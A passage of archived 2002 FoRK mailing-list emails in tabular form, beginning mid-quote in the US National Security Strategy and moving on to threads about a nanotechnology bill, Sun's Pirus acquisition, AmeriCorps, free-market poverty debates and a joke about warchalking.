nations have appropriate > combat contributions to make in coalition warfare; > > * develop planning processes to enable those contributions to become > effective multinational fighting forces; > > * take advantage of the technological opportunities and economies of > scale in our defense spending to transform NATO military forces so that > they dominate potential aggressors and diminish our vulnerabilities; > > * streamline and increase the flexibility of command structures to > meet new operational demands and the associated requirements of > training, integrating, and experimenting with new force configurations; > and > > * maintain the ability to work and fight together as allies even as > we take the necessary steps to transform and modernize our forces. > > > If NATO succeeds in enacting these changes, the rewards will be a > partnership as central to the security and interests of its member > states as was the case during the Cold War. We will sustain a common > perspective on the threats to our societies and improve our ability to > take common action in defense of our nations and their interests. At the > same time, we welcome our European allies' efforts to forge a greater > foreign policy and defense identity with the EU, and commit ourselves to > close consultations to ensure that these developments work with NATO. We > cannot afford to lose this opportunity to better prepare the family of > transatlantic democracies for the challenges to come. > > The attacks of September 11 energized America's Asian alliances. > Australia invoked the ANZUS Treaty to declare the September 11 was an > attack on Australia itself, following that historic decision with the > dispatch of some of the world's finest combat forces for Operation > Enduring Freedom. Japan and the Republic of Korea provided unprecedented > levels of military logistical support within weeks of the terrorist > attack. We have deepened cooperation on counter-terrorism with our > alliance partners in Thailand and the Philippines and received > invaluable assistance from close friends like Singapore and New Zealand. > > The war against terrorism has proven that America's alliances in Asia > not only underpin regional peace and stability, but are flexible and > ready to deal with new challenges. To enhance our Asian alliances and > friendships, we will: > > > * look to Japan to continue forging a leading role in regional and > global affairs based on our common interests, our common values, and our > close defense and diplomatic cooperation; > > * work with South Korea to maintain vigilance towards the North while > preparing our alliance to make contributions to the broader stability of > the region over the longer-term; > > * build on 50 years of U.S.-Australian alliance cooperation as we > continue working together to resolve regional and global problems -- as > we have so many times from the Battle of Leyte Gulf to Tora Bora; > > * maintain forces in the region that reflect our commitments to our > allies, our requirements, our technological advances, and the strategic > environment; and > > * build on stability provided by these alliances, as well as with > institutions such as ASEAN and the Asia-Pacific Economic Cooperation > forum, to develop a mix of regional and bilateral strategies to manage > change in this dynamic region. > > > We are attentive to the possible renewal of old patterns of great power > competition. Several potential great powers are now in the midst of > internal transition -- most importantly Russia, India, and China. In all > three cases, recent developments have encouraged our hope that a truly > global consensus about basic principles is slowly taking shape. > > With Russia, we are already building a new strategic relationship based > on a central reality of the twenty-first century: the United States and > Russia are no longer strategic adversaries. The Moscow Treaty on > Strategic Reductions is emblematic of this new reality and reflects a > critical change in Russian thinking that promises to lead to productive, > long-term relations with the Euro-Atlantic community and the United > States. Russia's top leaders have a realistic assessment of their > country's current weakness and the policies -- internal and external -- > needed to reverse those weaknesses. They understand, increasingly, that > Cold War approaches do not serve their national interests and that > Russian and American strategic interests overlap in many areas. > > United States policy seeks to use this turn in Russian thinking to > refocus our relationship on emerging and potential common interests and > challenges. We are broadening our already extensive cooperation in the > global war on terrorism. We are facilitating Russia's entry into the > World Trade Organization, without lowering standards for accession, to > promote beneficial bilateral trade and investment relations. We have > created the NATO-Russia Council with the goal of deepening security > cooperation among Russia, our European allies, and ourselves. We will > continue to bolster the independence and stability of the states of the > former Soviet Union in the belief that a prosperous and stable > neighborhood will reinforce Russia's growing commitment to integration > into the Euro-Atlantic community. > > At the same time, we are realistic about the differences that still > divide us from Russia and about the time and effort it will take to > build an enduring strategic partnership. Lingering distrust of our > motives and policies by key Russian elites slows improvement in our > relations. Russia's uneven commitment to the basic values of free-market > democracy and dubious record in combating the proliferation of weapons > of mass destruction remain matters of great concern. Russia's very > weakness limits the opportunities for cooperation. Nevertheless, those > opportunities are vastly greater now than in recent years -- or even > decades. > > The United States has undertaken a transformation in its bilateral > relationship with India based on a conviction that U.S. interests > require a strong relationship with India. We are the two largest > democracies, committed to political freedom protected by representative > government. India is moving toward greater economic freedom as well. We > have a common interest in the free flow of commerce, including through > the vital sea lanes of the Indian Ocean. Finally, we share an interest > in fighting terrorism and in creating a strategically stable Asia. > > Differences remain, including over the development of India's nuclear > and missile programs, and the pace of India's economic reforms. But > while in the past these concerns may have dominated our thinking about > India, today we start with a view of India as a growing world power with > which we have common strategic interests. Through a strong partnership > with India, we can best address any differences and shape a dynamic > future. > > The United States relationship with China is an important part of our > strategy to promote a stable, peaceful, and prosperous Asia-Pacific > region. We welcome the emergence of a strong, peaceful, and prosperous > China. The democratic development of China is crucial to that future. > Yet, a quarter century after beginning the process of shedding the worst > features of the Communist legacy, China's leaders have not yet made the > next series of fundamental choices about the character of their state. > In pursuing advanced military capabilities that can threaten its > neighbors in the Asia-Pacific region, China is following an outdated > path that, in the end, will hamper its own pursuit of national > greatness. In time, China will find that social and political freedom is > the only source of that greatness. > > The United States seeks a constructive relationship with a changing > China. We already cooperate well where our interests overlap, including > the current war on terrorism and in promoting stability on the Korean > peninsula. Likewise, we have coordinated on the future of Afghanistan > and have initiated a comprehensive dialogue on counter-terrorism and > similar transitional concerns. Shared health and environmental threats, > such as the spread of HIV/AIDS, challenge us to promote jointly the > welfare of our citizens. > > Addressing these transnational threats will challenge China to become > more open with information, promote the development of civil society, > and enhance individual human rights. China has begun to take the road to > political openness, permitting many personal freedoms and conducting > village-level elections, yet remains strongly committed to national > one-party rule by the Communist Party. To make that nation truly > accountable to its citizen's needs and aspirations, however, much work > remains to be done. Only by allowing the Chinese people to think, > assemble, and worship freely can China reach its full potential. > > Our important trade relationship will benefit from China's entry into > the World Trade Organization, which will create more export > opportunities and ultimately more jobs for American farmers, workers, > and companies. China is our fourth largest trading partner, with over > $100 billion in annual two-way trade. The power of market principles and > the WTO's requirements for transparency and accountability will advance > openness and the rule of law in China to help establish basic > protections for commerce and for citizens. There are, however, other > areas in which we have profound disagreements. Our commitment to the > self-defense of Taiwan under the Taiwan Relations Act is one. Human > rights is another. We expect China to adhere to its nonproliferation > commitments. We will work to narrow differences where they exist, but > not allow them to preclude cooperation where we agree. > > The events of September 11, 2001, fundamentally changed the context for > relations between the United States and other main centers of global > power, and opened vast, new opportunities. With our long-standing allies > in Europe and Asia, and with leaders in Russia, India, and China, we > must develop active agendas of cooperation lest these relationships > become routine and unproductive. > > Every agency of the United States Government shares the challenge. We > can build fruitful habits of consultation, quiet argument, sober > analysis, and common action. In the long-term, these are the practices > that will sustain the supremacy of our common principles and keep open > the path of progress. > > IX. Transform America's National Security Institutions to Meet the > Challenges and Opportunities of the Twenty-First Century > > > ""Terrorists attacked a symbol of American prosperity. They did not touch > its source. America is successful because of the hard work, creativity, > and enterprise of our people."" > > > > > > President Bush > Washington, D.C. (Joint Session of Congress) > September 20, 2001 > > > > The major institutions of American national security were designed in a > different era to meet different requirements. All of them must be > transformed. > > It is time to reaffirm the essential role of American military strength. > We must build and maintain our defenses beyond challenge. Our military's > highest priority is to defend the United States. To do so effectively, > our military must: > > * assure our allies and friends; > > * dissuade future military competition; > > * deter threats against U.S. interests, allies, and friends; and > > * decisively defeat any adversary if deterrence fails. > > > The unparalleled strength of the United States armed forces, and their > forward presence, have maintained the peace in some of the world's most > strategically vital regions. However, the threats and enemies we must > confront have changed, and so must our forces. A military structured to > deter massive Cold War-era armies must be transformed to focus more on > how an adversary might fight rather than where and when a war might > occur. We will channel our energies to overcome a host of operational > challenges. > > The presence of American forces overseas is one of the most profound > symbols of the U.S. commitments to allies and friends. Through our > willingness to use force in our own defense and in defense of others, > the United States demonstrates its resolve to maintain a balance of > power that favors freedom. To contend with uncertainty and to meet the > many security challenges we face, the United States will require bases > and stations within and beyond Western Europe and Northeast Asia, as > well as temporary access arrangements for the long-distance deployment > of U.S. forces. > > Before the war in Afghanistan, that area was low on the list of major > planning contingencies. Yet, in a very short time, we had to operate > across the length and breadth of that remote nation, using every branch > of the armed forces. We must prepare for more such deployments by > developing assets such as advanced remote sensing, long-range precision > strike capabilities, and transformed maneuver and expeditionary forces. > This broad portfolio of military capabilities must also include the > ability to defend the homeland, conduct information operations, ensure > U.S. access to distant theaters, and protect critical U.S. > infrastructure and assets in outer space. > > Innovation within the armed forces will rest on experimentation with new > approaches to warfare, strengthening joint operations, exploiting U.S. > intelligence advantages, and taking full advantage of science and > technology. We must also transform the way the Department of Defense is > run, especially in financial management and recruitment and retention. > Finally, while maintaining near-term readiness and the ability to fight > the war on terrorism, the goal must be to provide the President with a > wider range of military options to discourage aggression or any form of > coercion against the United States, our allies, and our friends. > > We know from history that deterrence can fail; and we know from > experience that some enemies cannot be deterred. The United States must > and will maintain the capability to defeat any attempt by an enemy -- > whether a state or non-state actor -- to impose its will on the United > States, our allies, or our friends. We will maintain the forces > sufficient to support our obligations, and to defend freedom. Our forces > will be strong enough to dissuade potential adversaries from pursuing a > military build-up in hopes of surpassing, or equaling, the power of the > United States. > > Intelligence -- and how we use it -- is our first line of defense > against terrorists and the threat posed by hostile states. Designed > around the priority of gathering enormous information about a massive, > fixed object -- the Soviet bloc -- the intelligence community is coping > with the challenge of following a far more complex and elusive set of > targets. > > We must transform our intelligence capabilities and build new ones to > keep pace with the nature of these threats. Intelligence must be > appropriately integrated with our defense and law enforcement systems > and coordinated with our allies and friends. We need to protect the > capabilities we have so that we do not arm our enemies with the > knowledge of how best to surprise us. Those who would harm us also seek > the benefit of surprise to limit our prevention and response options and > to maximize injury. > > We must strengthen intelligence warning and analysis to provide > integrated threat assessments for national and homeland security. Since > the threats inspired by foreign governments and groups may be conducted > inside the United States, we must also ensure the proper fusion of > information between intelligence and law enforcement. > > Initiatives in this area will include: > > * strengthening the authority of the Director of Central Intelligence > to lead the development and actions of the Nation's foreign intelligence > capabilities; > > * establishing a new framework for intelligence warning that provides > seamless and integrated warning across the spectrum of threats facing > the nation and our allies; > > * continuing to develop new methods of collecting information to > sustain our intelligence advantage; > > * investing in future capabilities while working to protect them > through a more vigorous effort to prevent the compromise of intelligence > capabilities; and > > * collecting intelligence against the terrorist danger across the > government with all-source analysis. > > > As the United States Government relies on the armed forces to defend > America's interests, it must rely on diplomacy to interact with other > nations. We will ensure that the Department of State receives funding > sufficient to ensure the success of American diplomacy. The State > Department takes the lead in managing our bilateral relationships with > other governments. And in this new era, its people and institutions must > be able to interact equally adroitly with non-governmental organizations > and international institutions. Officials trained mainly in > international politics must also extend their reach to understand > complex issues of domestic governance around the world, including public > health, education, law enforcement, the judiciary, and public diplomacy. > > Our diplomats serve at the front line of complex negotiations, civil > wars, and other humanitarian catastrophes. As humanitarian relief > requirements are better understood, we must also be able to help build > police forces, court systems, and legal codes, local and provincial > government institutions, and electoral systems. Effective international > cooperation is needed to accomplish these goals, backed by American > readiness to play our part. > > Just as our diplomatic institutions must adapt so that we can reach out > to others, we also need a different and more comprehensive approach to > public information efforts that can help people around the world learn > about and understand America. The war on terrorism is not a clash of > civilizations. It does, however, reveal the clash inside a civilization, > a battle for the future of the Muslim world. This is a struggle of ideas > and this is an area where America must excel. > > We will take the actions necessary to ensure that our efforts to meet > our global security commitments and protect Americans are not impaired > by the potential for investigations, inquiry, or prosecution by the > International Criminal Court (ICC), whose jurisdiction does not extend > to Americans and which we do not accept. We will work together with > other nations to avoid complications in our military operations and > cooperation, through such mechanisms as multilateral and bilateral > agreements that will protect U.S. nationals from the ICC. We will > implement fully the American Servicemembers Protection Act, whose > provisions are intended to ensure and enhance the protection of U.S. > personnel and officials. > > We will make hard choices in the coming year and beyond to ensure the > right level and allocation of government spending on national security. > The United States Government must strengthen its defenses to win this > war. At home, our most important priority is to protect the homeland for > the American people. > > Today, the distinction between domestic and foreign affairs is > diminishing. In a globalized world, events beyond America's borders have > a greater impact inside them. Our society must be open to people, ideas, > and goods from across the globe. The characteristics we most cherish -- > our freedom, our cities, our systems of movement, and modern life -- are > vulnerable to terrorism. This vulnerability will persist long after we > bring to justice those responsible for the September eleventh attacks. > As time passes, individuals may gain access to means of destruction that > until now could be wielded only by armies, fleets, and squadrons. This > is a new condition of life. We will adjust to it and thrive -- in spite > of it. > > In exercising our leadership, we will respect the values, judgment, and > interests of our friends and partners. Still, we will be prepared to act > apart when our interests and unique responsibilities require. When we > disagree on particulars, we will explain forthrightly the grounds for > our concerns and strive to forge viable alternatives. We will not allow > such disagreements to obscure our determination to secure together, with > our allies and our friends, our shared fundamental interests and values. > > Ultimately, the foundation of American strength is at home. It is in the > skills of our people, the dynamism of our economy, and the resilience of > our institutions. A diverse, modern society has inherent, ambitious, > entrepreneurial energy. Our strength comes from what we do with that > energy. That is where our national security begins. >",0,0 """Mr. FoRK"" ",,"Fri, 20 Sep 2002 22:38:08 -0700",Senate Committee Passes Nanotech Bill,"Weird... I never thought the govmint would get into funding this. You know 'weapons of mass destruction'. etc. etc. == http://dc.internet.com/news/article.php/10849_1467121 September 20, 2002 Senate Committee Passes Nanotech Bill By Roy Mark The Senate Commerce Committee unanimously passed on Thursday legislation to promote nanotechnology research and development. Introduced by Sen. Ron Wyden (D-Ore.), the 21st Century Nanotechnology Research and Development Act would create the National Nanotechnology Research Program. The bill is co-sponsored by Sen. Joe Lieberman (D-Conn.) and Sen. George Allen (R-Va.). The proposed program would be a coordinated interagency effort that would support long-term nanoscale research and development and promote effective education and training for the next generation of nanotechnology researchers and professionals. ""The unanimous support of the Senate Commerce Committee is a very big step forward for this very small technology,"" Lieberman, who vowed to pushed to full Senate passage before the end of the year, said. ""Nowhere in the world are the wheels of innovation spinning more rapidly than in the realm of nanotechnology. The U.S. certainly possesses the raw resources and talent to lead the world in developing this technology. Our legislation will provide the nation with a long-term focus and sustained commitment, and facilitate new collaborations between government, academia, and industry that will ensure our place at the head of the next wave of innovation."" The bill would place coordination and management of the nanotechnology program under the National Science and Technology Council. It would also create a Presidential National Nanotechnology Advisory Panel and National Nanotechnology Coordination Office, which would provide administrative and technical support for the Advisory Panel and the Council. ""My own judgment is the nanotechnology revolution has the potential to change America on a scale equal to, if not greater than, the computer revolution. I am determined that the United States will not miss, but will mine the opportunities of nanotechnology,"" Wyden said in introducing the bill. ""At present, efforts in the nanotechnology field are strewn across a half-dozen federal agencies. I want America to marshal its various nanotechnology efforts into one driving force to remain the world's leader in this burgeoning field. And I believe federal support is essential to achieving that goal. To study the potential long-term effects of nanotechnology, a new Center for Societal, Ethical, Educational, Legal and Workforce Issues Related to Nanotechnology would also be established. According to Lieberman, the bill closely tracks the recommendations of the National Research Council (NRC), which completed a thorough review of the National Nanotechnology Initiative in June. Those recommendations included establishing an independent advisory panel; emphasizing long-term goals; striking a balance between long-term and short-term research; supporting the development of research facilities, equipment and instrumentation; creating special funding to support research that falls in the breach between agency missions and programs; promoting interdisciplinary research and research groups; facilitating technology transition and outreach to industry; conducting studies on the societal implications of nanotechnology, including those related to ethical, educational, legal and workforce issues; and the development of metrics for measuring progress toward program goals.",0,1 """Mr. FoRK"" ",,"Fri, 20 Sep 2002 22:43:14 -0700",Sun Nabs Storage Startup - buys Pirus Networks,"Related to the MS acquisition of XDegrees? == http://www.internetnews.com/infra/article.php/1466271 Sun Nabs Storage Startup By Clint Boulton Amid the flurry of news at its own SunNetwork 2002 conference in San Francisco, Sun Microsystems Thursday said it has agreed to purchase data storage concern Pirus Networks for an undisclosed amount of stock. The Palo Alto, Calif. networking firm bought the Acton, Mass.-based startup with a keen eye for the startup's switching (define) devices and virtualization technology. Used as part of a storage area network (define), virtualization is the pooling of storage from many network storage devices into what appears to the operating system to be a single storage device that is managed from a central console. Though major vendors make similar technology, Pirus competes with the likes of Rhapsody Networks and Confluence Networks. Sun plucked Pirus after scouting some 65 companies. Mark Lovington, vice president of marketing for Pirus, told internetnews.com that Pirus and Sun have been in discussion for a while about a possible acquisition. Pirus, he said, succeeded in a goal it shares with a lot of storage startups -- to be acquired by one of the major systems vendors, such as Sun IBM, HP, Hitachi. ""This is a huge opportunity for Pirus in a storage market dominated by 6,7 or 8 system-level players,"" Lovington said. ""Sun sees this acquisition as a critical element to their N1 initiative. The synergies were quite obvious."" N1 is Sun's hopeful tour de force in distributed computing (define) architecture, which involves multiple, remote computers that each have a role in a computation problem or information processing. N1 is being styled as the answer for companies looking to manage groups of computers and networks as a single system -- at a lower cost and with greater flexibility. While lagging behind other, more entrenched players, Sun is gaining ground in the storage market with its Sun StorEdge Complete Storage Solutions, according to a new report by IDC. John McArthur, group vice president of IDC's Storage program, said Sun Microsystems and IBM posted the largest increases in total storage revenue over Q1 2002, with 32% and 11% gains, respectively. As of Q2, Sun held a 9 percent market share, with revenues of $411 million. Sun's acquisition of Pirus is expected to close in the second quarter of Sun's 2003 fiscal year, which ends December 29, 2002.",0,1 Tom ,"""Mr. FoRK"" ","Sat, 21 Sep 2002 02:12:25 -0400 (EDT)",SunMSapple meta4 of the day,"Im feeling a bit farklempt having spent the night at Todais with the family so talk amongst yourself..here Ill give you a topic The current state of IT can be thought of in terms of the Cold war with the US and the UUSR being MS and Sun/IBM/OSS (does it matter which side is which?), Apple as Cuba and the US legal system as the UN. Discuss.",0,0 CDale ,fork@spamassassin.taint.org,"Sat, 21 Sep 2002 01:19:53 -0500 (CDT)",AmeriCorpsVISTA,"The pay's not good (9,300 a year), but there is insurance, a 4,700 (I think) off a student loan, or for future education, and non-compete status for any govt. job after a year's service. I moved to New Orleans yesterday, and I should be flying to DC in about a month to start the AmeriCorps training. I'll be setting up a community technology center which will be used to teach computer literacy skills to low income folks (just, like, learning MS shit (yeah yeah, wtf am i doing? I know.)) so that they can possibly find better jobs. I'm sure I'll be doing all sorts of other things too, like helping folks with their taxes, writing grants, etc. The website is www.americorps.org. There are -all- sorts of jobs all over the country, so if someone out there can survive on the small salary, it's something s/he might want to take a look at. Since Xi is in college and getting grants + scholarship + child support from dad, my load has gone down terrifically. The IRS is after me for money I didn't make on the stock market, so it's a way to at least get into a situation where they will have to understand that yes, they will have to wait. But bottom line benefit and motivation is the feelgood that ya get when you do this type of job. I'm up for some of that. Cindy -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 """R. A. Hettinga"" ","""Mr. FoRK"" , ","Sat, 21 Sep 2002 04:03:36 -0400",Re: sed /s/United States/Roman Empire/g,"At 9:34 PM -0700 on 9/20/02, Mr. FoRK wrote: > ""Free trade and free markets have proven their ability to lift whole > societies out of poverty"" > I'm not a socio-political/history buff - does anybody have some clear > examples? You're probably living in one, or you wouldn't be able to post here. ;-). Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Tom ,"""R. A. Hettinga"" ","Sat, 21 Sep 2002 05:05:09 -0400 (EDT)",Re: sed /s/United States/Roman Empire/g,"It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness, it was the spring of hope, it was the winter of despair, we had everything before us, we had nothing before us, we were all going direct to Heaven, we were all going direct the other way ---C Dickens G'Quon Wrote ""There is a greater darkness than the one we fight. It is the darkness of the soul that has lost its way."" The war we fight is not against powers and principalities - it is against chaos and despair. Greater than the death of flesh is the death of hope, the death of dreams. Against this peril we can never surrender. The future is all around us, waiting in moments of transition, to be born in moments of revelation. No one knows the shape of that future, or where it will take us. We know only that it is always born in pain. --JWS",0,0 bitbitch@magnesium.net,fork@spamassassin.taint.org,"Sat, 21 Sep 2002 09:38:52 -0400",Oh my...,"Hello fork, So they have Aaron Schwartz on NPR's Weekend Edition talking about Warchalking. I'll agree, its funny, his voice is squeaky and I'm jealous that he got on radio and I didn't... But really, WTF is the big deal about warchalking? I have yet to see any of it, anywhere. LInk will probably pop up on www.npr.org later today. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 bitbitch@magnesium.net,Chris Olds ,"Sat, 21 Sep 2002 09:53:58 -0400",Re[2]: Oh my...,"Hello Chris, Oh I don't know, Time-lag synchrocity? Or mutual shared experience over time? :) Its like 930 am..I can't function yet. Lord knows its 630 where you are. I say this should be a FoRK Posit. CO> Scary. I was just listening to the radio (stream, from KUOW), and heard CO> the story just moments ago. CO> We're on opposite sides of the continent, yet we appear to have just had a CO> shared experience. There should be a name for that... CO> Cheers - CO> /cco CO> On Sat, 21 Sep 2002 bitbitch@magnesium.net wrote: >> >> So they have Aaron Schwartz on NPR's Weekend Edition talking >> about Warchalking. I'll agree, its funny, his voice is squeaky and >> I'm jealous that he got on radio and I didn't... -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 Gary Lawrence Murphy ,"""Mr. FoRK"" ",21 Sep 2002 10:30:37 -0400,Re: sed /s/United States/Roman Empire/g,">>>>> ""f"" == fork list writes: f> ""Free trade and free markets have proven their ability to lift f> whole societies out of poverty"" I'm not a f> socio-political/history buff - does anybody have some clear f> examples? China? Ooops, no wait, scratch that. There is one counter example that I can think of, but it may not be precisely ""free trade/markets"" -- when Ben Franklin first visited England he was asked why the colonies were so prosperous. Ben explained that they used ""Colonial Script"", a kind of barter-dollar, and increasing the supply of script ensured complete employment. The British bankers were furious and immediately lobbied parliament to clamp down on the practice. Within a few years, the colonies were rife with unemployment and poverty just like the rest of the Empire. According to questionable literature handed out by a fringe political party here in Canada, the Founding Fathers had no real complaint about tea taxes, it was the banning of colonial script they were protesting. If this is true, then it comes right back to the forces that killed Ned Ludd's followers as to why popular opinion believes they were protesting a tea tax. The same pamphlet claimed that Canada was also a prosperous nation until, by an act of parliament in the late-50's or early 60's, the right to print money was removed from the juristiction of parliament and handed over to the Bank of Canada. I've wondered about all this. Certainly the timeline of the collapse of the Canadian economy fits the profile, but there are oodles of other causes (for example, spending money like we had 300M people when we only had 20M) Anyone have any further information on this? -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Gary Lawrence Murphy ,"""R. A. Hettinga"" ",21 Sep 2002 10:32:14 -0400,Re: sed /s/United States/Roman Empire/g,">>>>> ""R"" == R A Hettinga writes: R> At 9:34 PM -0700 on 9/20/02, Mr. FoRK wrote: >> ""Free trade and free markets have proven their ability to lift >> whole societies out of poverty"" I'm not a >> socio-political/history buff - does anybody have some clear >> examples? R> You're probably living in one, or you wouldn't be able to post R> here. Cool --- I wasn't aware that the US had lifted it's population out of poverty! When did this happen? I wonder where the media gets the idea that the wealth gap is widening and deepening... -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 """R. A. Hettinga"" ",Gary Lawrence Murphy ,"Sat, 21 Sep 2002 14:18:29 -0400",Re: sed /s/United States/Roman Empire/g,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 10:32 AM -0400 on 9/21/02, Gary Lawrence Murphy wrote: > Cool --- I wasn't aware that the US had lifted it's population out > of poverty! When did this happen? I wonder where the media gets the > idea that the wealth gap is widening and deepening... All the world loves a smartass... :-). Seriously. Look at he life expectancy and human carrying capacity of this continent before the Europeans got here. Look at it now. Even for descendants of the original inhabitants. Even for the descendents of slaves, who were brought here by force. More stuff, cheaper. That's progress. Poverty, of course, is not relative. It's absolute. Disparity in wealth has nothing to do with it. It's like saying that groups have rights, when, in truth, only individuals do. Like group rights, ""disparity"" in wealth is statistical sophistry. Besides, even if you can't help the distribution, industrial wealth is almost always transitory, and so is relative poverty, even when there are no confiscatory death-taxes. The 20th anniversary Forbes 400 just came out, and only a few tens of people are still there since 1982, a time which had significantly higher marginal taxes on wealth, income, and inheritance than we do now. More to the point, they're nowhere near the top. I'll take those odds. It is only when neofeudalism reasserts itself, in the form of government regulation, confiscatory taxes, legislated monopoly, corporate welfare, ""non-profit"" neoaristocratic tax dodges, and legalized labor extortion that we get slowdowns in progress, like what happened in Fabian-era Britain, or 1970's USA. In fact, it is in countries where wealth is the most ""unfairly"" distributed, that you get the most improvement in the general -- economic -- welfare. More stuff cheaper, fewer people dying, more people living longer. I'll take those odds as well. People take greater risks when the returns are higher, improving the lot of us all as a result. Cheers, RAH -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPYy3ysPxH8jf3ohaEQLqNQCg14YvF8NVYwKiRrghHdisBoNCOn8AoPcR QUzorXeaLe5h3T1syKl7DFNT =9kff -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """Mr. FoRK"" ",,"Sat, 21 Sep 2002 12:06:52 -0700",Re: sed /s/United States/Roman Empire/g,"----- Original Message ----- From: ""John Hall"" > Take a list of the richest countries. > > Take a list of the countries that have the counties where markets are > the most free. > > They are, essentially, the same list. Umm... how many of these countries were in poverty & lifted themselves up after switching?",0,0 """Mr. FoRK"" ",", ""R. A. Hettinga"" ","Sat, 21 Sep 2002 12:07:57 -0700",Re: sed /s/United States/Roman Empire/g,"----- Original Message ----- From: ""R. A. Hettinga"" > > > > ""Free trade and free markets have proven their ability to lift whole > > societies out of poverty"" > > I'm not a socio-political/history buff - does anybody have some clear > > examples? > > You're probably living in one, or you wouldn't be able to post here. > When was the whole US society in poverty & was that before free trade & free markets? I'm looking for transitions due to free xyz.",0,0 """Mr. FoRK"" ",,"Sat, 21 Sep 2002 12:17:33 -0700",Re: sed /s/United States/Roman Empire/g,"----- Original Message ----- From: ""R. A. Hettinga"" > > Seriously. Look at he life expectancy and human carrying capacity of > this continent before the Europeans got here. Look at it now. Even > for descendants of the original inhabitants. Even for the descendents > of slaves, who were brought here by force. I wouldn't say that the societies of humans here before European occupancy was 'lifted' by free xyz. Perhaps 'replaced' or 'sunk' or some other description, but not 'lifted'. Also, the lifestyle of the remnants of those societies is on average only marginally above poverty even today.",0,0 Gregory Alan Bolcer ,bitbitch@magnesium.net,"Sat, 21 Sep 2002 16:14:38 -0700",Re: Oh my...,"I went out and drew some chalk circles on my sidewalk just so I wouldn't miss out on the experience. I've collected half a dozen passwords & access to email accounts so far. Greg bitbitch@magnesium.net wrote: > Hello fork, > > So they have Aaron Schwartz on NPR's Weekend Edition talking > about Warchalking. I'll agree, its funny, his voice is squeaky and > I'm jealous that he got on radio and I didn't... > > But really, WTF is the big deal about warchalking? I have yet to > see any of it, anywhere. > > LInk will probably pop up on www.npr.org later today. > > > -- Gregory Alan Bolcer, CTO | work: +1.949.833.2800 gbolcer at endeavors.com | http://endeavors.com Endeavors Technology, Inc.| cell: +1.714.928.5476",0,1 """Max Dunn"" ",,"Sat, 21 Sep 2002 18:43:16 -0700",RE: sed /s/United States/Roman Empire/g,"> As I've said before, American > Indian Reservations are quite > possibly the only place on the > planet where you can find trailer > park shantytowns where every > household is bringing in a > six-figure income. I wish I > could be exploited like that. Like what, like the rare exception case you've raised or like the ""on average"" case mentioned in the post you were replying to? Max",0,0 """Mr. FoRK"" ",,"Sat, 21 Sep 2002 19:05:28 -0700",Re: Oh my...,"----- Original Message ----- From: ""Gregory Alan Bolcer"" > I went out and drew some chalk circles on my > sidewalk just so I wouldn't miss out on the experience. > I've collected half a dozen passwords & > access to email accounts so far. > > Greg hahaha! It takes a thief to catch a thief?",0,0 """Mr. FoRK"" ",,"Sat, 21 Sep 2002 19:10:40 -0700",Re: sed /s/United States/Roman Empire/g,"----- Original Message ----- From: ""James Rogers"" > As I've said before, American > Indian Reservations are quite possibly the only place on the planet where > you can find trailer park shantytowns where every household is bringing in a > six-figure income. I wish I could be exploited like that. Got bits? (and I bet you probably /are/ being exploited, but you just don't know by whom...)",0,0 """Mr. FoRK"" ",,"Sat, 21 Sep 2002 19:13:52 -0700",Re: sed /s/United States/Roman Empire/g,"----- Original Message ----- From: ""James Rogers"" > As I've said before, American > Indian Reservations are quite possibly the only place on the planet where > you can find trailer park shantytowns where every household is bringing in a > six-figure income. I wish I could be exploited like that. If you can't trust the guvmint census, who can you trust? === http://www.census.gov/Press-Release/www/2001/cb01fff15.html Income and Poverty $31,799 Median household income for American Indians and Alaska Natives, based on a 1998-2000 average. This is higher than for African Americans ($28,679), not statistically different from Hispanics ($31,703) and lower than for non-Hispanic Whites ($45,514), and Asians and Pacific Islanders ($52,553). 25.9% The poverty rate for American Indians and Alaska Natives, based on a 1998-2000 average. This rate was not statistically different from the rates for African Americans and Hispanics, but was higher than those for non-Hispanic Whites, and Asians and Pacific Islanders. 701,000 Number of American Indians and Alaska Natives below the poverty line, based on a 1998-2000 average. ===",0,1 """Mr. FoRK"" ",,"Sat, 21 Sep 2002 20:37:43 -0700",E-Textiles Come into Style,"Cool - I wonder what you'd look like standing in front of a bunch of corporate executives... == http://www.technologyreview.com/articles/wo_hellweg080102.asp That's why, for example, Orth is trying to catch the interest of the military with fabrics that change color when conductive fibers stitched into the cloth heat and cool the material's thermochromatic inks. ""The army wants fully addressable, interactive camouflage,"" she says, ""so that when you're standing in front of bricks, your clothing looks like bricks. When you're in grass, you look like grass. Accomplishing that would be like a space program for e-textiles.""",0,1 """Joseph S. Barrera III"" ",FoRK ,"Sat, 21 Sep 2002 22:59:23 -0700",flavor cystals,"Can anyone stop talking politics long enough to let me know that, yes, indeed, they do remember the Suburban Lawns? Better yet, tell me where I should be listening for new music now that P2P is dead and I still can't pick up KFJC very well. - Joe -- Give me time I will be clear; given time you'll understand. What possesses me to right what you have suffered. I'm in this mood because of scorn; I'm in a mood for total war. To the darkened skies once more and ever onward.",0,0 Owen Byrne ,Gary Lawrence Murphy ,"Sun, 22 Sep 2002 03:13:08 -0300",Re: sed /s/United States/Roman Empire/g,"Gary Lawrence Murphy wrote: >>>>>>""R"" == R A Hettinga writes: >>>>>> >>>>>> > > R> At 9:34 PM -0700 on 9/20/02, Mr. FoRK wrote: > >> ""Free trade and free markets have proven their ability to lift > >> 